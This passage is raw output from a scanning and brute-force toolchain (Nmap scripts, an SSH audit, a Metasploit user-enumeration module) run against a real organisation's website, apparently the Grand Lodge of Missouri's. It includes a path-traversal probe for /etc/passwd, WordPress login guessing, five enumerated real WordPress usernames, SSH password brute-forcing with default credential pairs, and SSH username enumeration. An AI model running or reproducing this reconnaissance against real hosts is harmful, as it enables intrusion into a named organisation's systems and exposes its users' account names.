  1951. | X-Cache: cached
  1952. | X-Cache-Hit: HIT
  1953. | X-Backend: all_requests
  1954. | Accept-Ranges: none
  1955. |
  1956. |_ (Request type: HEAD)
  1957. | http-methods:
  1958. |_ Supported Methods: GET HEAD POST OPTIONS
  1959. |_http-mobileversion-checker: No mobile version detected.
  1960. |_http-passwd: ERROR: Script execution failed (use -d to debug)
  1961. | http-security-headers:
  1962. | X_XSS_Protection:
  1963. | Header: X-XSS-Protection: 1; mode=block
  1964. | Description: The browser will prevent the rendering of the page when XSS is detected.
  1965. | X_Content_Type_Options:
  1966. | Header: X-Content-Type-Options: nosniff
  1967. |_ Description: Will prevent the browser from MIME-sniffing a response away from the declared content-type.
  1968. | http-sitemap-generator:
  1969. | Directory structure:
  1970. | /
  1971. | Other: 1; php: 1
  1972. | /feed/
  1973. | Other: 1
  1974. | /home/feed/
  1975. | Other: 1
  1976. | /officers/
  1977. | Other: 1
  1978. | /programs/
  1979. | Other: 1
  1980. | /resources/
  1981. | Other: 1
  1982. | /resources/forms/
  1983. | Other: 1
  1984. | /resources/links/
  1985. | Other: 1
  1986. | /scholarships/
  1987. | Other: 1
  1988. | /wp-content/plugins/wp-pagenavi/
  1989. | css: 1
  1990. | /wp-content/sedlex/inline_scripts/
  1991. | js: 1
  1992. | /wp-content/sedlex/inline_styles/
  1993. | css: 1
  1994. | /wp-content/themes/molodge/
  1995. | css: 1
  1996. | /wp-includes/
  1997. | xml: 1
  1998. | /wp-includes/js/
  1999. | js: 1
  2000. | /wp-includes/js/jquery/
  2001. | js: 1
  2002. | /wp-json/oembed/1.0/
  2003. | Other: 1
  2004. | Longest directory structure:
  2005. | Depth: 3
  2006. | Dir: /wp-includes/js/jquery/
  2007. | Total files found (by extension):
  2008. |_ Other: 10; css: 3; js: 3; php: 1; xml: 1
  2009. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  2010. |_http-title: The Grand Lodge of Missouri
  2011. |_http-trane-info: Problem with XML parsing of /evox/about
  2012. |_http-userdir-enum: Potential Users: web
  2013. | http-vhosts:
  2014. |_127 names had status 404
  2015. |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
  2016. | http-waf-detect: IDS/IPS/WAF detected:
  2017. |_momason.org:80/?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd
  2018. | http-wordpress-brute:
  2019. | Accounts: No valid accounts found
  2020. | Statistics: Performed 13 guesses in 6 seconds, average tps: 2.2
  2021. |_ ERROR: The service seems to have failed or is heavily firewalled...
  2022. | http-wordpress-users:
  2023. | Username found: presencebuilders
  2024. | Username found: kevinfuller
  2025. | Username found: randydavis
  2026. | Username found: grandsecretary
  2027. | Username found: melissa
  2028. |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
  2029. |_http-xssed: No previously reported XSS vuln.
  2030. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  2031. OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
  2032. No OS matches for host
  2033. Uptime guess: 0.001 days (since Fri Apr 24 18:05:54 2020)
  2034. Network Distance: 18 hops
  2035. TCP Sequence Prediction: Difficulty=259 (Good luck!)
  2036. IP ID Sequence Generation: All zeros
  2037. Service Info: Device: load balancer
  2038.  
  2039. TRACEROUTE (using port 80/tcp)
  2040. HOP RTT ADDRESS
  2041. 1 117.00 ms 10.203.2.1
  2042. 2 117.07 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2043. 3 117.12 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2044. 4 117.83 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2045. 5 123.09 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2046. 6 128.71 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2047. 7 128.68 ms be3187.agr41.fra03.atlas.cogentco.com (130.117.1.117)
  2048. 8 125.74 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2049. 9 264.72 ms ffm-bb2-link.telia.net (62.115.114.90)
  2050. 10 ...
  2051. 11 209.07 ms ash-bb2-link.telia.net (62.115.112.242)
  2052. 12 264.25 ms las-b24-link.telia.net (62.115.121.220)
  2053. 13 264.28 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2054. 14 268.03 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2055. 15 267.02 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2056. 16 271.68 ms 97.74.255.129
  2057. 17 266.83 ms lbma1105-03.ars2.mgmt.phx3.secureserver.net (184.168.1.240)
  2058. 18 266.87 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2059.  
  2060. NSE: Script Post-scanning.
  2061. Initiating NSE at 18:07
  2062. Completed NSE at 18:07, 0.00s elapsed
  2063. Initiating NSE at 18:07
  2064. Completed NSE at 18:07, 0.00s elapsed
  2065. #####################################################################################################################################
  2066. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 18:11 EDT
  2067. NSE: Loaded 161 scripts for scanning.
  2068. NSE: Script Pre-scanning.
  2069. Initiating NSE at 18:11
  2070. Completed NSE at 18:11, 0.00s elapsed
  2071. Initiating NSE at 18:11
  2072. Completed NSE at 18:11, 0.00s elapsed
  2073. Initiating Parallel DNS resolution of 1 host. at 18:11
  2074. Completed Parallel DNS resolution of 1 host. at 18:11, 11.11s elapsed
  2075. Initiating SYN Stealth Scan at 18:11
  2076. Scanning momason.org (45.40.155.175) [1 port]
  2077. Discovered open port 443/tcp on 45.40.155.175
  2078. Completed SYN Stealth Scan at 18:11, 0.31s elapsed (1 total ports)
  2079. Initiating Service scan at 18:11
  2080. Scanning 1 service on momason.org (45.40.155.175)
  2081. Completed Service scan at 18:11, 14.54s elapsed (1 service on 1 host)
  2082. Initiating OS detection (try #1) against momason.org (45.40.155.175)
  2083. Retrying OS detection (try #2) against momason.org (45.40.155.175)
  2084. Initiating Traceroute at 18:11
  2085. Completed Traceroute at 18:11, 3.01s elapsed
  2086. Initiating Parallel DNS resolution of 17 hosts. at 18:11
  2087. Completed Parallel DNS resolution of 17 hosts. at 18:11, 11.21s elapsed
  2088. NSE: Script scanning 45.40.155.175.
  2089. Initiating NSE at 18:11
  2090. Completed NSE at 18:13, 90.13s elapsed
  2091. Initiating NSE at 18:13
  2092. Completed NSE at 18:13, 3.08s elapsed
  2093. Nmap scan report for momason.org (45.40.155.175)
  2094. Host is up (0.27s latency).
  2095. rDNS record for 45.40.155.175: ip-45-40-155-175.ip.secureserver.net
  2096.  
  2097. PORT STATE SERVICE VERSION
  2098. 443/tcp open ssl/https openresty
  2099. | http-brute:
  2100. |_ Path "/" does not require authentication
  2101. |_http-chrono: Request times for /; avg: 8848.83ms; min: 8838.26ms; max: 8865.72ms
  2102. |_http-csrf: Couldn't find any CSRF vulnerabilities.
  2103. |_http-date: Fri, 24 Apr 2020 22:12:05 GMT; -7s from local time.
  2104. |_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
  2105. |_http-dombased-xss: Couldn't find any DOM based XSS.
  2106. | http-errors:
  2107. | Spidering limited to: maxpagecount=40; withinhost=momason.org
  2108. | Found the following error pages:
  2109. |
  2110. | Error Code: 400
  2111. |_ http://momason.org:443/
  2112. |_http-feed: Couldn't find any feeds.
  2113. |_http-fetch: Please enter the complete path of the directory to save data in.
  2114. | http-headers:
  2115. | Server: openresty
  2116. | Date: Fri, 24 Apr 2020 22:12:20 GMT
  2117. | Content-Type: text/html
  2118. | Content-Length: 252
  2119. | Connection: close
  2120. | Strict-Transport-Security: max-age=31536000; includeSubDomains
  2121. |
  2122. |_ (Request type: GET)
  2123. |_http-jsonp-detection: Couldn't find any JSONP endpoints.
  2124. |_http-mobileversion-checker: No mobile version detected.
  2125. | http-security-headers:
  2126. | Strict_Transport_Security:
  2127. |_ Header: Strict-Transport-Security: max-age=31536000; includeSubDomains
  2128. |_http-server-header: openresty
  2129. | http-sitemap-generator:
  2130. | Directory structure:
  2131. | Longest directory structure:
  2132. | Depth: 0
  2133. | Dir: /
  2134. | Total files found (by extension):
  2135. |_
  2136. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  2137. |_http-title: 400 The plain HTTP request was sent to HTTPS port
  2138. | http-vhosts:
  2139. |_127 names had status 400
  2140. |_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
  2141. |_http-xssed: No previously reported XSS vuln.
  2142. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  2143. OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
  2144. No OS matches for host
  2145. Uptime guess: 0.001 days (since Fri Apr 24 18:11:33 2020)
  2146. Network Distance: 18 hops
  2147. TCP Sequence Prediction: Difficulty=256 (Good luck!)
  2148. IP ID Sequence Generation: All zeros
  2149.  
  2150. TRACEROUTE (using port 443/tcp)
  2151. HOP RTT ADDRESS
  2152. 1 117.11 ms 10.203.2.1
  2153. 2 117.16 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2154. 3 117.50 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2155. 4 118.31 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2156. 5 123.11 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2157. 6 124.97 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2158. 7 124.93 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2159. 8 121.81 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2160. 9 260.96 ms ffm-bb2-link.telia.net (62.115.114.90)
  2161. 10 ...
  2162. 11 210.57 ms ash-bb2-link.telia.net (62.115.112.242)
  2163. 12 265.36 ms las-b24-link.telia.net (62.115.121.220)
  2164. 13 267.92 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2165. 14 271.11 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2166. 15 270.01 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2167. 16 270.00 ms 97.74.255.129
  2168. 17 265.27 ms lbma1105-03.ars2.mgmt.phx3.secureserver.net (184.168.1.240)
  2169. 18 265.30 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2170.  
  2171. NSE: Script Post-scanning.
  2172. Initiating NSE at 18:13
  2173. Completed NSE at 18:13, 0.00s elapsed
  2174. Initiating NSE at 18:13
  2175. Completed NSE at 18:13, 0.00s elapsed
  2176. #####################################################################################################################################
  2177. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:37 EDT
  2178. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2179. Host is up (0.27s latency).
  2180. Not shown: 473 filtered ports
  2181. Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  2182. PORT STATE SERVICE VERSION
  2183. 22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
  2184. | ssh-hostkey:
  2185. | 2048 36:62:7a:9a:77:3b:92:28:75:aa:92:a4:13:c5:14:2b (RSA)
  2186. | 256 e6:90:e8:1a:b9:e5:94:fb:60:4e:ca:1a:ae:2d:e3:2e (ECDSA)
  2187. |_ 256 a4:c2:3b:42:da:c9:13:70:af:1b:84:66:e4:5c:a4:a5 (ED25519)
  2188. 80/tcp open http-proxy HAProxy http proxy 1.3.1 or later
  2189. |_http-title: 404 Not Found
  2190. 443/tcp open ssl/https openresty
  2191. |_http-server-header: openresty
  2192. |_http-title: 400 The plain HTTP request was sent to HTTPS port
  2193. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  2194. Device type: general purpose
  2195. Running (JUST GUESSING): Linux 2.6.X (85%)
  2196. OS CPE: cpe:/o:linux:linux_kernel:2.6.32
  2197. Aggressive OS guesses: Linux 2.6.32 (85%)
  2198. No exact OS matches for host (test conditions non-ideal).
  2199. Network Distance: 18 hops
  2200. Service Info: Device: load balancer
  2201.  
  2202. TRACEROUTE (using port 443/tcp)
  2203. HOP RTT ADDRESS
  2204. 1 115.17 ms 10.203.2.1
  2205. 2 115.22 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2206. 3 115.55 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2207. 4 115.77 ms be3592.ccr52.zrh02.atlas.cogentco.com (154.54.37.150)
  2208. 5 121.07 ms be3073.ccr22.muc03.atlas.cogentco.com (130.117.0.62)
  2209. 6 127.23 ms be2960.ccr42.fra03.atlas.cogentco.com (154.54.36.253)
  2210. 7 127.28 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2211. 8 124.05 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2212. 9 262.76 ms ffm-bb2-link.telia.net (62.115.114.90)
  2213. 10 ...
  2214. 11 214.98 ms ash-bb2-link.telia.net (62.115.112.242)
  2215. 12 268.37 ms las-b24-link.telia.net (62.115.121.220)
  2216. 13 268.31 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2217. 14 302.48 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2218. 15 271.44 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2219. 16 269.31 ms 97.74.255.129
  2220. 17 263.89 ms lbma1105-03.ars2.mgmt.phx3.secureserver.net (184.168.1.240)
  2221. 18 263.92 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2222. #####################################################################################################################################
  2223. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:39 EDT
  2224. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2225. Host is up (0.084s latency).
  2226. Not shown: 14 filtered ports
  2227. Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  2228. PORT STATE SERVICE VERSION
  2229. 53/udp open|filtered domain
  2230. 67/udp open|filtered dhcps
  2231. 68/udp open|filtered dhcpc
  2232. 69/udp open|filtered tftp
  2233. 88/udp open|filtered kerberos-sec
  2234. 123/udp open|filtered ntp
  2235. 137/udp open|filtered netbios-ns
  2236. 138/udp open|filtered netbios-dgm
  2237. 139/udp open|filtered netbios-ssn
  2238. 161/udp open|filtered snmp
  2239. 162/udp open|filtered snmptrap
  2240. 389/udp open|filtered ldap
  2241. 520/udp open|filtered route
  2242. 2049/udp open|filtered nfs
  2243. Too many fingerprints match this host to give specific OS details
  2244. Network Distance: 17 hops
  2245.  
  2246. TRACEROUTE (using proto 1/icmp)
  2247. HOP RTT ADDRESS
  2248. 1 114.65 ms 10.203.2.1
  2249. 2 114.70 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2250. 3 114.73 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2251. 4 115.48 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2252. 5 120.85 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2253. 6 125.66 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2254. 7 125.88 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2255. 8 124.06 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2256. 9 267.69 ms ffm-bb1-link.telia.net (62.115.114.88)
  2257. 10 264.97 ms prs-bb3-link.telia.net (62.115.123.13)
  2258. 11 211.01 ms ash-bb2-link.telia.net (62.115.112.242)
  2259. 12 265.20 ms las-b24-link.telia.net (62.115.121.220)
  2260. 13 266.76 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2261. 14 272.60 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2262. 15 272.14 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2263. 16 269.57 ms 97.74.255.129
  2264. 17 267.80 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2265. #####################################################################################################################################
  2266. # general
  2267. (gen) banner: SSH-2.0-OpenSSH_7.5
  2268. (gen) software: OpenSSH 7.5
  2269. (gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
  2270. (gen) compression: enabled ([email protected])
  2271.  
  2272. # key exchange algorithms
  2273. (kex) curve25519-sha256 -- [warn] unknown algorithm
  2274. (kex) [email protected] -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
  2275. (kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
  2276. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  2277. (kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves
  2278. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  2279. (kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves
  2280. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  2281. (kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus (possibly weak)
  2282. `- [info] available since OpenSSH 4.4
  2283. (kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
  2284. (kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3
  2285. (kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
  2286. (kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm
  2287. `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
  2288.  
  2289. # host-key algorithms
  2290. (key) ssh-rsa -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
  2291. (key) rsa-sha2-512 -- [info] available since OpenSSH 7.2
  2292. (key) rsa-sha2-256 -- [info] available since OpenSSH 7.2
  2293. (key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves
  2294. `- [warn] using weak random number generator could reveal the key
  2295. `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
  2296. (key) ssh-ed25519 -- [info] available since OpenSSH 6.5
  2297.  
  2298. # encryption algorithms (ciphers)
  2299. (enc) [email protected] -- [info] available since OpenSSH 6.5
  2300. `- [info] default cipher since OpenSSH 6.9.
  2301. (enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
  2302. (enc) aes192-ctr -- [info] available since OpenSSH 3.7
  2303. (enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
  2304. (enc) [email protected] -- [info] available since OpenSSH 6.2
  2305. (enc) [email protected] -- [info] available since OpenSSH 6.2
  2306.  
  2307. # message authentication code algorithms
  2308. (mac) [email protected] -- [warn] using small 64-bit tag size
  2309. `- [info] available since OpenSSH 6.2
  2310. (mac) [email protected] -- [info] available since OpenSSH 6.2
  2311. (mac) [email protected] -- [info] available since OpenSSH 6.2
  2312. (mac) [email protected] -- [info] available since OpenSSH 6.2
  2313. (mac) [email protected] -- [warn] using weak hashing algorithm
  2314. `- [info] available since OpenSSH 6.2
  2315. (mac) [email protected] -- [warn] using encrypt-and-MAC mode
  2316. `- [warn] using small 64-bit tag size
  2317. `- [info] available since OpenSSH 4.7
  2318. (mac) [email protected] -- [warn] using encrypt-and-MAC mode
  2319. `- [info] available since OpenSSH 6.2
  2320. (mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
  2321. `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
  2322. (mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
  2323. `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
  2324. (mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode
  2325. `- [warn] using weak hashing algorithm
  2326. `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
  2327.  
  2328. # algorithm recommendations (for OpenSSH 7.5)
  2329. (rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
  2330. (rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
  2331. (rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove
  2332. (rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
  2333. (rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove
  2334. (rec) -ecdsa-sha2-nistp256 -- key algorithm to remove
  2335. (rec) -hmac-sha2-512 -- mac algorithm to remove
  2336. (rec) [email protected] -- mac algorithm to remove
  2337. (rec) -hmac-sha2-256 -- mac algorithm to remove
  2338. (rec) [email protected] -- mac algorithm to remove
  2339. (rec) -hmac-sha1 -- mac algorithm to remove
  2340. (rec) [email protected] -- mac algorithm to remove
  2341. (rec) [email protected] -- mac algorithm to remove
  2342. #####################################################################################################################################
  2343. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:45 EDT
  2344. NSE: [ssh-run] Failed to specify credentials and command to run.
  2345. NSE: [ssh-brute] Trying username/password pair: root:root
  2346. NSE: [ssh-brute] Trying username/password pair: admin:admin
  2347. NSE: [ssh-brute] Trying username/password pair: administrator:administrator
  2348. NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
  2349. NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
  2350. NSE: [ssh-brute] Trying username/password pair: netadmin:netadmin
  2351. NSE: [ssh-brute] Trying username/password pair: guest:guest
  2352. NSE: [ssh-brute] Trying username/password pair: user:user
  2353. NSE: [ssh-brute] Trying username/password pair: web:web
  2354. NSE: [ssh-brute] Trying username/password pair: test:test
  2355. NSE: [ssh-brute] Trying username/password pair: root:
  2356. NSE: [ssh-brute] Trying username/password pair: admin:
  2357. NSE: [ssh-brute] Trying username/password pair: administrator:
  2358. NSE: [ssh-brute] Trying username/password pair: webadmin:
  2359. NSE: [ssh-brute] Trying username/password pair: sysadmin:
  2360. NSE: [ssh-brute] Trying username/password pair: netadmin:
  2361. NSE: [ssh-brute] Trying username/password pair: guest:
  2362. NSE: [ssh-brute] Trying username/password pair: user:
  2363. NSE: [ssh-brute] Trying username/password pair: web:
  2364. NSE: [ssh-brute] Trying username/password pair: test:
  2365. NSE: [ssh-brute] Trying username/password pair: root:123456
  2366. NSE: [ssh-brute] Trying username/password pair: admin:123456
  2367. NSE: [ssh-brute] Trying username/password pair: administrator:123456
  2368. NSE: [ssh-brute] Trying username/password pair: webadmin:123456
  2369. NSE: [ssh-brute] Trying username/password pair: sysadmin:123456
  2370. NSE: [ssh-brute] Trying username/password pair: netadmin:123456
  2371. NSE: [ssh-brute] Trying username/password pair: guest:123456
  2372. NSE: [ssh-brute] Trying username/password pair: user:123456
  2373. NSE: [ssh-brute] Trying username/password pair: web:123456
  2374. NSE: [ssh-brute] Trying username/password pair: test:123456
  2375. NSE: [ssh-brute] Trying username/password pair: root:12345
  2376. NSE: [ssh-brute] Trying username/password pair: admin:12345
  2377. NSE: [ssh-brute] Trying username/password pair: administrator:12345
  2378. NSE: [ssh-brute] Trying username/password pair: webadmin:12345
  2379. NSE: [ssh-brute] Trying username/password pair: sysadmin:12345
  2380. NSE: [ssh-brute] Trying username/password pair: netadmin:12345
  2381. NSE: [ssh-brute] Trying username/password pair: guest:12345
  2382. NSE: [ssh-brute] Trying username/password pair: user:12345
  2383. NSE: [ssh-brute] Trying username/password pair: web:12345
  2384. NSE: [ssh-brute] Trying username/password pair: test:12345
  2385. NSE: [ssh-brute] Trying username/password pair: root:123456789
  2386. NSE: [ssh-brute] Trying username/password pair: admin:123456789
  2387. NSE: [ssh-brute] Trying username/password pair: administrator:123456789
  2388. NSE: [ssh-brute] Trying username/password pair: webadmin:123456789
  2389. NSE: [ssh-brute] Trying username/password pair: sysadmin:123456789
  2390. NSE: [ssh-brute] Trying username/password pair: netadmin:123456789
  2391. NSE: [ssh-brute] Trying username/password pair: guest:123456789
  2392. NSE: [ssh-brute] Trying username/password pair: user:123456789
  2393. NSE: [ssh-brute] usernames: Time limit 3m00s exceeded.
  2394. NSE: [ssh-brute] usernames: Time limit 3m00s exceeded.
  2395. NSE: [ssh-brute] passwords: Time limit 3m00s exceeded.
  2396. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2397. Host is up (0.27s latency).
  2398.  
  2399. PORT STATE SERVICE VERSION
  2400. 22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
  2401. | ssh-auth-methods:
  2402. | Supported authentication methods:
  2403. | publickey
  2404. |_ password
  2405. | ssh-brute:
  2406. | Accounts: No valid accounts found
  2407. |_ Statistics: Performed 48 guesses in 210 seconds, average tps: 0.2
  2408. | ssh-hostkey:
  2409. | 2048 36:62:7a:9a:77:3b:92:28:75:aa:92:a4:13:c5:14:2b (RSA)
  2410. | 256 e6:90:e8:1a:b9:e5:94:fb:60:4e:ca:1a:ae:2d:e3:2e (ECDSA)
  2411. |_ 256 a4:c2:3b:42:da:c9:13:70:af:1b:84:66:e4:5c:a4:a5 (ED25519)
  2412. | ssh-publickey-acceptance:
  2413. |_ Accepted Public Keys: No public keys accepted
  2414. |_ssh-run: Failed to specify credentials and command to run.
  2415. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  2416. Device type: general purpose
  2417. Running (JUST GUESSING): Linux 2.6.X (87%)
  2418. OS CPE: cpe:/o:linux:linux_kernel:2.6.32
  2419. Aggressive OS guesses: Linux 2.6.32 (87%), Linux 2.6.39 (86%)
  2420. No exact OS matches for host (test conditions non-ideal).
  2421. Network Distance: 18 hops
  2422.  
  2423. TRACEROUTE (using port 22/tcp)
  2424. HOP RTT ADDRESS
  2425. 1 116.72 ms 10.203.2.1
  2426. 2 116.88 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2427. 3 117.10 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2428. 4 117.60 ms be3592.ccr52.zrh02.atlas.cogentco.com (154.54.37.150)
  2429. 5 123.12 ms be3073.ccr22.muc03.atlas.cogentco.com (130.117.0.62)
  2430. 6 128.74 ms be2960.ccr42.fra03.atlas.cogentco.com (154.54.36.253)
  2431. 7 124.72 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2432. 8 121.36 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2433. 9 266.23 ms ffm-bb1-link.telia.net (62.115.114.88)
  2434. 10 263.50 ms prs-bb3-link.telia.net (62.115.123.13)
  2435. 11 207.21 ms rest-bb1-link.telia.net (62.115.122.159)
  2436. 12 262.19 ms las-b24-link.telia.net (62.115.114.86)
  2437. 13 259.96 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2438. 14 265.09 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2439. 15 263.63 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2440. 16 267.43 ms 97.74.255.129
  2441. 17 268.02 ms lbma1105-03.ars2.mgmt.phx3.secureserver.net (184.168.1.240)
  2442. 18 268.05 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2443. #####################################################################################################################################
  2444. USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
  2445. RHOSTS => 45.40.155.175
  2446. RHOST => 45.40.155.175
  2447. [*] 45.40.155.175:22 - SSH - Using malformed packet technique
  2448. [*] 45.40.155.175:22 - SSH - Starting scan
  2449. [-] 45.40.155.175:22 - SSH - User 'admin' not found
  2450. [-] 45.40.155.175:22 - SSH - User 'administrator' not found
  2451. [-] 45.40.155.175:22 - SSH - User 'anonymous' not found
  2452. [-] 45.40.155.175:22 - SSH - User 'backup' not found
  2453. [-] 45.40.155.175:22 - SSH - User 'bee' not found
  2454. [-] 45.40.155.175:22 - SSH - User 'ftp' not found
  2455. [-] 45.40.155.175:22 - SSH - User 'guest' not found
  2456. [-] 45.40.155.175:22 - SSH - User 'GUEST' not found
  2457. [-] 45.40.155.175:22 - SSH - User 'info' not found
  2458. [-] 45.40.155.175:22 - SSH - User 'mail' not found
  2459. [-] 45.40.155.175:22 - SSH - User 'mailadmin' not found
  2460. [-] 45.40.155.175:22 - SSH - User 'msfadmin' not found
  2461. [-] 45.40.155.175:22 - SSH - User 'mysql' not found
  2462. [-] 45.40.155.175:22 - SSH - User 'nobody' not found
  2463. [-] 45.40.155.175:22 - SSH - User 'oracle' not found
  2464. [-] 45.40.155.175:22 - SSH - User 'owaspbwa' not found
  2465. [-] 45.40.155.175:22 - SSH - User 'postfix' not found
  2466. [-] 45.40.155.175:22 - SSH - User 'postgres' not found
  2467. [-] 45.40.155.175:22 - SSH - User 'private' not found
  2468. [-] 45.40.155.175:22 - SSH - User 'proftpd' not found
  2469. [-] 45.40.155.175:22 - SSH - User 'public' not found
  2470. [-] 45.40.155.175:22 - SSH - User 'root' not found
  2471. [-] 45.40.155.175:22 - SSH - User 'superadmin' not found
  2472. [-] 45.40.155.175:22 - SSH - User 'support' not found
  2473. [-] 45.40.155.175:22 - SSH - User 'sys' not found
  2474. [-] 45.40.155.175:22 - SSH - User 'system' not found
  2475. [-] 45.40.155.175:22 - SSH - User 'systemadmin' not found
  2476. [-] 45.40.155.175:22 - SSH - User 'systemadministrator' not found
  2477. [-] 45.40.155.175:22 - SSH - User 'test' not found
  2478. [-] 45.40.155.175:22 - SSH - User 'tomcat' not found
  2479. [-] 45.40.155.175:22 - SSH - User 'user' not found
  2480. [-] 45.40.155.175:22 - SSH - User 'webmaster' not found
  2481. [-] 45.40.155.175:22 - SSH - User 'www-data' not found
  2482. [-] 45.40.155.175:22 - SSH - User 'Fortimanager_Access' not found
  2483. [*] Scanned 1 of 1 hosts (100% complete)
  2484. [*] Auxiliary module execution completed
  2485. #####################################################################################################################################
  2486. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:50 EDT
